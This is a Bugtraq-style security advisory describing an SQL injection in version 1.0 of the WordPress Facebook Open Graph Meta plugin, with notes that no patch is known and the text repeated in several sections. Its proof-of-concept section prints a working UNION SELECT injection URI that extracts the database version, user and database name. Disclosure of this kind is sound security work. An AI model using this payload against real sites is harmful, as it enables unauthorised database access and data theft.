WordPress Facebook Open Graph Meta Plugin 'all_meta.php' SQL Injection Vulnerability
BID:49445
Info
WordPress Facebook Open Graph Meta Plugin 'all_meta.php' SQL Injection Vulnerability
| Bugtraq ID: | 49445 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 03 2011 12:00AM |
| Updated: | Sep 03 2011 12:00AM |
| Credit: | Miroslav Stampar |
| Vulnerable: |
WordPress Facebook Open Graph Meta 1.0 |
| Not Vulnerable: | |
Discussion
WordPress Facebook Open Graph Meta Plugin 'all_meta.php' SQL Injection Vulnerability
The Facebook Open Graph Meta plug-in for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Facebook Open Graph Meta versions 1.0 and prior are vulnerable.
The Facebook Open Graph Meta plug-in for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Facebook Open Graph Meta versions 1.0 and prior are vulnerable.
Exploit / POC
WordPress Facebook Open Graph Meta Plugin 'all_meta.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/wp-content/plugins/facebook-opengraph-meta-plugin/all_meta.php?pst_title=1') UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--%20&page=1&rows=1
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/wp-content/plugins/facebook-opengraph-meta-plugin/all_meta.php?pst_title=1') UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--%20&page=1&rows=1
Solution / Fix
WordPress Facebook Open Graph Meta Plugin 'all_meta.php' SQL Injection Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].
References
WordPress Facebook Open Graph Meta Plugin 'all_meta.php' SQL Injection Vulnerability
References:
References:
- Plugin Homepage (WordPress)
- Wordpress church_admin Plugin "id" Cross-Site Scripting Vulnerability (Sammy Forgit)